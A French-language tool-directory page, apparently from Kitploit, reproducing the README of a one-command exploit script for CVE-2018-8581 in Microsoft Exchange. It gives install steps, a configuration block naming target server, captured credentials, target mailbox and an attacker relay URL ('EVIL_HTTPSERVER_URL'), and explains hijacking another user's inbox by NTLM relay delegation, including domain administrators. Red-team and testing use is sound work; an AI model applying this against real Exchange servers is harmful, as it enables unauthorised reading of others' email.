Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/wyatu/cve-2018-8581
Escalade de PrivilègesExploitationMouvement LatéralExploitation d'Applications WebTests d'IntrusionRed TeamingSécurité des Emails
GitHubwyatu/cve-2018-8581

CVE-2018-8581

CVE-2018-8581 | Vulnérabilité d'élévation de privilèges dans Microsoft Exchange Server

Voir le dépôt
331102il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-8581

Il s'agit d'une vulnérabilité de mouvement latéral et d'élévation de privilèges au niveau de la boîte aux lettres.

Elle permet, après avoir obtenu les identifiants d'une boîte aux lettres avec des privilèges ordinaires, de prendre le contrôle par délégation de la boîte de réception d'autres utilisateurs (y compris les administrateurs de domaine).

Ce script d'exploitation est une version améliorée en une commande, basée sur le PoC original. Une fois les paramètres configurés, il ajoute puis supprime automatiquement la délégation sur la boîte de réception (inbox) de la boîte aux lettres cible, afin de permettre aux équipes de sécurité côté client et aux équipes rouges de simuler une attaque complète contre une entreprise autorisée.

Le PoC original nécessitait deux scripts combinés pour ajouter une règle de réception de messages, ce qui n'était pas vraiment pratique pour les équipes rouges côté client. En outre, le PoC original exigeait, outre la boîte aux lettres, de définir le SID de l'utilisateur de la boîte aux lettres cible. Cependant, en suivant la méthode d'obtention du SID utilisateur mentionnée dans cet article, mes tests dans des environnements réels avec Exchange Server 2010 et 2013 n'ont pas réussi à la reproduire (2010 n'offre pas d'option correspondante, 2013 signale une erreur de droits insuffisants). Finalement, mon approche a consisté à effectuer d'abord une délégation inverse pour obtenir le SID de l'utilisateur de la boîte aux lettres cible, puis à supprimer cette délégation.

Comment l'utiliser

  • Installer python-ntlm

    pip install python-ntlm

  • Configurer les paramètres dans le code suivant du script

    root@kitploit:~
    ...
    # Exchange server config
    IP = 'mail.target_domain.com'
    PORT = 443
    PROTO = 'https'
    # PORT = 80
    # PROTO = 'http'
    
    # CONTROLLED_EMAIL and TARGET_EMAIL config
    USER = 'the_email_u_have'
    DOMAIN = 'the_domain_name'
    PASS = 'password_of_the_email_u_have'
    
    TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
    CONTROLLED_EMAIL = "the_email_u_have@target_domain"
    
    # FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
    FLAG = 1
    
    # Exchange server version 
    # EXCHANGE_VERSION = "Exchange2010_SP1"
    EXCHANGE_VERSION = "Exchange2010_SP2"
    # EXCHANGE_VERSION = "Exchange2010_SP3"
    # EXCHANGE_VERSION = "Exchange2013"
    # EXCHANGE_VERSION = "Exchange2016"
    
    #Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
    HTTPPORT = 8080
    EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
    ...
    
  • Exécuter le script, puis boire une gorgée de thé aux baies de goji et attendre une minute

    img1

  • À ce stade, la boîte de réception (inbox) de TARGET_EMAIL a été déléguée avec succès à CONTROLLED_EMAIL

  • Consulter la boîte de réception de la boîte aux lettres cible dans OWA ou Outlook

    img2

  • Mettre FLAG à 0, exécuter à nouveau le script, boire encore une gorgée de thé aux baies de goji et attendre encore une minute, puis la délégation précédemment ajoutée sera supprimée

    img3

  • Il n'est plus possible d'y accéder

Environnements compatibles

  • Python 2.7.14

  • Exchange Server 2010 (relativement stable ; la plupart des tests sur Exchange Server 2010 réussissent)

  • Exchange Server 2013 (peut échouer selon l'environnement)

  • Exchange Server 2016 (peut échouer selon l'environnement)

Pour aller plus loin

Il est possible de modifier davantage de requêtes EWS SOAP API dans la fonction make_relay_body().

En essayant d'exploiter plus avant le relais des hash Net-NTLM pour attaquer d'autres hôtes ne nécessitant pas la signature SMB, j'ai constaté que les hash obtenus étaient tous ceux du serveur Exchange... Peut-être que si la signature SMB est désactivée sur le serveur Exchange, il serait possible d'utiliser un relais inter-protocole pour attaquer le serveur Exchange, mais ce scénario reste très difficile à rencontrer...

Remarque

Ce script est fourni uniquement à des fins d'apprentissage et d'échange. L'utilisateur est tenu de respecter les lois locales en vigueur. Toute utilisation à d'autres fins engage la seule responsabilité de l'utilisateur ; l'auteur décline toute responsabilité. Télécharger et utiliser ce script implique l'acceptation des termes ci-dessus.

Télécharger l’outil